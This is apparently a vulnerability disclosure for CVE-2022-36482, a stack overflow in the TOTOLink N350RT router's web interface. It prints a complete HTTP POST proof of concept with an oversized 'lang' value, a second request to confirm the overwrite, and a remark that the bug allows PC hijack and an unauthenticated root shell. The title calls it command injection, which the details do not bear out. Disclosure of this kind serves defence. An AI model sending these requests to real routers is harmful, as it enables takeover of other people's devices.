CVE-2022-36482: vuln/TOTOLINK/N350RT/6 at main · Darry-lang1/vuln

TOTOLink N350RT V9.3.5u.6139_B20201216 Has an command injection vulnerability****Overview

• Manufacturer’s website information：https://www.totolink.net/
• Firmware download address ： https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/206/ids/36.html

Product Information

TOTOLink N350RT V9.3.5u.6139_B20201216 router, the latest version of simulation overview：

Vulnerability details

Var is formatted into V7 through sprintf function, and Var is the value of Lang we enter. The size of the format string is not limited, resulting in stack overflow.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)

2. Attack with the following POC attacks

   POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Length: 561 Origin: http://192.168.0.1 DNT: 1 Connection: close Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Pragma: no-cache Cache-Control: no-cache

   {"topicurl": "setting/setLanguageCfg","lang": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}

Although it returns a status of 200, there is another way to see if the target code was successfully executed.

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 25
Origin: http://192.168.0.1
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache

{"topicurl":"getInitCfg"}

The above report verifies that our target code was successfully executed.

From the figure above, we can see that defaultLang has been modified by us to show that our target code has been executed.

As shown in the figure above, we can hijack PC registers.

Finally, you can write exp to get a stable root shell without authorization.